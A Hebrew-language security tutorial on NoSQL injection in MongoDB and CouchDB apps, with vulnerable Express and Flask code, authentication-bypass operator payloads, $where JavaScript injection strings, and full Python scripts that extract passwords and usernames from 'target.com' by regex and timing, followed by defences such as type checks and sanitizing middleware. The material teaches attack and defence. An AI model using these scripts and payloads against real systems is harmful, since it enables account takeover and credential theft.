לדלג לתוכן

הזרקת NoSQL

מבוא

מסדי נתונים מסוג NoSQL (כגון MongoDB, CouchDB, Redis) פופולריים מאוד באפליקציות מודרניות, במיוחד עם Node.js. למרות שהם לא משתמשים בשפת SQL, הם עדיין פגיעים להזרקות - רק בצורה שונה.

הזרקת NoSQL מנצלת את האופן שבו אפליקציות בונות שאילתות למסד הנתונים, ובמיוחד את האופרטורים המיוחדים של MongoDB.


רקע - אופרטורים ב-MongoDB

לפני שנצלול לתקיפות, חשוב להכיר את האופרטורים העיקריים:

// אופרטורי השוואה
$eq    // שווה
$ne    // לא שווה
$gt    // גדול מ
$gte   // גדול או שווה
$lt    // קטן מ
$lte   // קטן או שווה
$in    // נמצא במערך
$nin   // לא נמצא במערך

// אופרטורים לוגיים
$and   // וגם
$or    // או
$not   // שלילה

// אופרטורים מיוחדים
$regex    // ביטוי רגולרי
$where    // הרצת JavaScript
$exists   // האם השדה קיים

עקיפת אותנטיקציה - Authentication Bypass

הקוד הפגיע

// שרת Node.js עם Express ו-MongoDB
const express = require('express');
const mongoose = require('mongoose');
const app = express();

app.use(express.json()); // מאפשר פרסור JSON בבקשות

app.post('/login', async (req, res) => {
    const { username, password } = req.body;

    // פגיע! הקלט מוכנס ישירות לשאילתה
    const user = await User.findOne({
        username: username,
        password: password
    });

    if (user) {
        res.json({ success: true, token: generateToken(user) });
    } else {
        res.json({ success: false, message: 'Invalid credentials' });
    }
});

התקיפה

כאשר השרת מקבל Content-Type: application/json, הוא מפרסר את הגוף כ-JSON. זה מאפשר לשלוח אובייקטים במקום מחרוזות:

POST /login HTTP/1.1
Content-Type: application/json

{
    "username": {"$ne": ""},
    "password": {"$ne": ""}
}

השאילתה שנשלחת ל-MongoDB:

// הופכת ל:
db.users.findOne({
    username: { $ne: "" },   // שם משתמש שלא שווה למחרוזת ריקה
    password: { $ne: "" }    // סיסמה שלא שווה למחרוזת ריקה
})
// מחזירה את המשתמש הראשון במסד!

וריאציות נוספות לעקיפת אותנטיקציה

// גישה למשתמש ספציפי (admin)
{
    "username": "admin",
    "password": {"$ne": ""}
}

// שימוש ב-$gt
{
    "username": "admin",
    "password": {"$gt": ""}
}

// שימוש ב-$regex
{
    "username": "admin",
    "password": {"$regex": ".*"}
}

// שימוש ב-$exists
{
    "username": "admin",
    "password": {"$exists": true}
}

// שימוש ב-$in
{
    "username": {"$in": ["admin", "administrator"]},
    "password": {"$ne": ""}
}

חילוץ נתונים עם $regex - מתקפה עיוורת

כאשר אין הודעות שגיאה מפורטות, אפשר לחלץ מידע תו אחר תו באמצעות $regex:

העיקרון

// בדיקה האם הסיסמה מתחילה ב-a
{"username": "admin", "password": {"$regex": "^a"}}

// אם ההתחברות מצליחה - התו הראשון הוא a
// אם נכשלת - ננסה תו אחר

סקריפט אוטומטי לחילוץ

import requests
import string

url = "http://target.com/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
extracted = ""

while True:
    found = False
    for char in charset:
        # תווים מיוחדים ב-regex דורשים escaping
        escaped_char = char
        if char in r'\.^$*+?{}[]|()':
            escaped_char = '\\' + char

        payload = {
            "username": "admin",
            "password": {"$regex": f"^{extracted}{escaped_char}"}
        }

        response = requests.post(url, json=payload)

        if "success" in response.text:
            extracted += char
            found = True
            print(f"[+] Found so far: {extracted}")
            break

    if not found:
        print(f"[+] Complete password: {extracted}")
        break

חילוץ שמות משתמשים

import requests
import string

url = "http://target.com/login"
charset = string.ascii_lowercase + string.digits

# חילוץ אורך שם המשתמש
for length in range(1, 30):
    payload = {
        "username": {"$regex": f"^.{{{length}}}$"},
        "password": {"$ne": ""}
    }
    response = requests.post(url, json=payload)
    if "success" in response.text:
        print(f"[+] Username length: {length}")
        break

# חילוץ שם המשתמש תו אחר תו
username = ""
for i in range(length):
    for char in charset:
        payload = {
            "username": {"$regex": f"^{username}{char}"},
            "password": {"$ne": ""}
        }
        response = requests.post(url, json=payload)
        if "success" in response.text:
            username += char
            print(f"[+] Username so far: {username}")
            break

הזרקת $where - הרצת JavaScript

האופרטור $where מאפשר להריץ JavaScript בצד השרת. זו אחת החולשות המסוכנות ביותר ב-MongoDB:

קוד פגיע

app.get('/search', async (req, res) => {
    const query = req.query.q;

    // פגיע! קלט המשתמש מוכנס ל-$where
    const results = await Product.find({
        $where: `this.name.includes('${query}')`
    });

    res.json(results);
});

ניצול

# חילוץ נתונים עם sleep (מבוסס זמן)
GET /search?q=') || (this.password && this.password.match(/^a/) && sleep(5000)) || ('

# אם התגובה מתעכבת ב-5 שניות - הסיסמה מתחילה ב-a

# הרצת קוד JavaScript
GET /search?q='); return true; var x=('

מתקפת זמן עם $where

import requests
import time
import string

url = "http://target.com/search"
charset = string.ascii_lowercase + string.digits
extracted = ""

for position in range(50):
    found = False
    for char in charset:
        # Payload שגורם לעיכוב אם התו נכון
        payload = f"') || (this.password && this.password[{position}] == '{char}' && sleep(2000)) || ('"

        start = time.time()
        response = requests.get(url, params={"q": payload})
        elapsed = time.time() - start

        if elapsed > 2:
            extracted += char
            found = True
            print(f"[+] Found: {extracted}")
            break

    if not found:
        break

print(f"[+] Complete: {extracted}")

הזרקה ב-MongoDB Aggregation Pipeline

Aggregation pipelines הם כלי חזק ב-MongoDB שמאפשר עיבוד נתונים מורכב. אם תוקף יכול להשפיע על ה-pipeline, התוצאות עלולות להיות הרסניות:

// קוד פגיע
app.get('/stats', async (req, res) => {
    const field = req.query.field;

    const results = await Order.aggregate([
        { $group: { _id: `$${field}`, total: { $sum: "$amount" } } }
    ]);

    res.json(results);
});
# תוקף יכול לגשת לשדות רגישים
GET /stats?field=customer.password

# או להשתמש ב-aggregation operators
GET /stats?field=customer.creditCard

Python עם pymongo - דפוסים פגיעים

from flask import Flask, request, jsonify
from pymongo import MongoClient

app = Flask(__name__)
client = MongoClient('mongodb://localhost:27017/')
db = client['myapp']

# פגיע - אם Content-Type הוא application/json
@app.route('/api/login', methods=['POST'])
def login():
    data = request.get_json()
    user = db.users.find_one({
        'username': data['username'],
        'password': data['password']    # יכול לקבל אובייקט!
    })
    if user:
        return jsonify({'success': True})
    return jsonify({'success': False})

# מתוקן - ולידציה על סוג הקלט
@app.route('/api/login_safe', methods=['POST'])
def login_safe():
    data = request.get_json()

    # וידוא שהקלט הוא מחרוזת
    username = data.get('username')
    password = data.get('password')

    if not isinstance(username, str) or not isinstance(password, str):
        return jsonify({'error': 'Invalid input type'}), 400

    user = db.users.find_one({
        'username': username,
        'password': password
    })
    if user:
        return jsonify({'success': True})
    return jsonify({'success': False})

הזרקה ב-CouchDB

CouchDB משתמש ב-HTTP API עם JSON. נקודות הזרקה שונות מ-MongoDB:

שאילתות Mango ב-CouchDB

// שאילתת Mango רגילה
{
    "selector": {
        "username": "admin",
        "password": "secret123"
    }
}

// הזרקה - עקיפת אותנטיקציה
{
    "selector": {
        "username": "admin",
        "password": {"$gt": null}
    }
}

הזרקה ב-CouchDB Views

// אם התוקף יכול להשפיע על פונקציית map
function(doc) {
    if (doc.type == 'user') {
        emit(doc.username, doc.password); // חשיפת סיסמאות
    }
}

הזרקה דרך פרמטרי URL ב-Express

נקודה חשובה: Express עם middleware מסוג qs (ברירת מחדל) מאפשר שליחת אובייקטים דרך פרמטרי URL:

# פרמטרים רגילים
GET /search?username=admin&password=secret

# הזרקת אופרטור דרך URL
GET /search?username=admin&password[$ne]=

# Express מפרסר את זה ל:
# { username: 'admin', password: { '$ne': '' } }
// קוד פגיע - גם עם query parameters
app.get('/search', async (req, res) => {
    // req.query.password יכול להיות אובייקט!
    const user = await User.findOne({
        username: req.query.username,
        password: req.query.password
    });
    res.json(user);
});

הגנה עם express-mongo-sanitize

const mongoSanitize = require('express-mongo-sanitize');

// מסיר אופרטורים שמתחילים ב-$ מהקלט
app.use(mongoSanitize());

// או להחליף אותם
app.use(mongoSanitize({
    replaceWith: '_'
}));

NoSQL Injection עיוורת מבוססת זמן - Timing-based

כאשר אין הבדל בתגובה בין הצלחה לכישלון:

import requests
import time

url = "http://target.com/login"
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""

for i in range(30):
    for char in charset:
        payload = {
            "username": "admin",
            "password": {
                "$where": f"if(this.password[{i}]=='{char}'){{sleep(3000);return true}}else{{return false}}"
            }
        }

        start = time.time()
        try:
            response = requests.post(url, json=payload, timeout=10)
        except:
            continue
        elapsed = time.time() - start

        if elapsed >= 3:
            password += char
            print(f"[+] Password: {password}")
            break

הגנה מפני הזרקת NoSQL

1. ולידציה על סוג הקלט

// בדיקה שהקלט הוא מחרוזת ולא אובייקט
function validateStringInput(input) {
    if (typeof input !== 'string') {
        throw new Error('Input must be a string');
    }
    return input;
}

app.post('/login', async (req, res) => {
    try {
        const username = validateStringInput(req.body.username);
        const password = validateStringInput(req.body.password);

        const user = await User.findOne({ username, password });
        // ...
    } catch (err) {
        res.status(400).json({ error: 'Invalid input' });
    }
});

2. שימוש בספרייה express-mongo-sanitize

const mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize());

3. ניטרול $where

// בהגדרות MongoDB - לנטרל JavaScript execution
// ב-mongod.conf
security:
  javascriptEnabled: false

4. שימוש ב-Schema Validation

const userSchema = new mongoose.Schema({
    username: {
        type: String,
        required: true,
        validate: {
            validator: function(v) {
                return typeof v === 'string' && v.length > 0;
            }
        }
    },
    password: { type: String, required: true }
});

5. Parameterized Queries

// במקום לבנות שאילתות דינמיות
// להשתמש ב-MongoDB drivers שתומכים ב-parameterized queries
const user = await User.findOne()
    .where('username').equals(username)
    .where('password').equals(hashedPassword);

סיכום

הזרקת NoSQL היא חולשה נפוצה במיוחד באפליקציות Node.js עם MongoDB. הנקודות העיקריות:

  • Express מפרסר אוטומטית JSON ו-query parameters לאובייקטים - מה שמאפשר הזרקת אופרטורים
  • עקיפת אותנטיקציה היא התקיפה הנפוצה ביותר עם $ne ו-$gt
  • חילוץ נתונים אפשרי עם $regex תו אחר תו
  • האופרטור $where מאפשר הרצת JavaScript ומסוכן במיוחד
  • ההגנה העיקרית היא ולידציה על סוג הקלט - לוודא שמחרוזות נשארות מחרוזות